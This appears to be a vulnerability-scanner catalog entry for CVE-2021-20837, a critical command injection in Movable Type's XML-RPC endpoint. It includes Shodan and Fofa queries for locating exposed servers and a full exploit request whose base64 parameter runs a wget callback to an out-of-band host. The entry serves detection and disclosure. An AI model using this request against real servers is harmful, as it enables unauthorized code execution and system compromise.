| Title | MovableType - Remote Command Injection |
|---|---|
| Author | dhiyaneshDK,hackergautam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability in MovableType. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94187 |
| CVE ID | CVE-2021-20837 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"サインイン | movable type pro"cpe:"cpe:2.3:a:sixapart:movable_type" |
| Fofa Query | title="サインイン | movable type pro" |
| Tags | cve2021 cve packetstorm rce movable sixapart vkev vuln |
MovableType 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors.
POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Content-Length: 325
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>mt.handler_to_coderef</methodName>
<params>
<param>
<value>
<base64>
YHdnZXQgaHR0cDovL2Q1am41MGhsZTBvMWhqMjdyOXIwZGVlcWp5YXpnYmI3ai5vYXN0LmZ1bmA=
</base64>
</value>
</param>
</params>
</methodCall>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20837.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20837.pcap
N/AN/A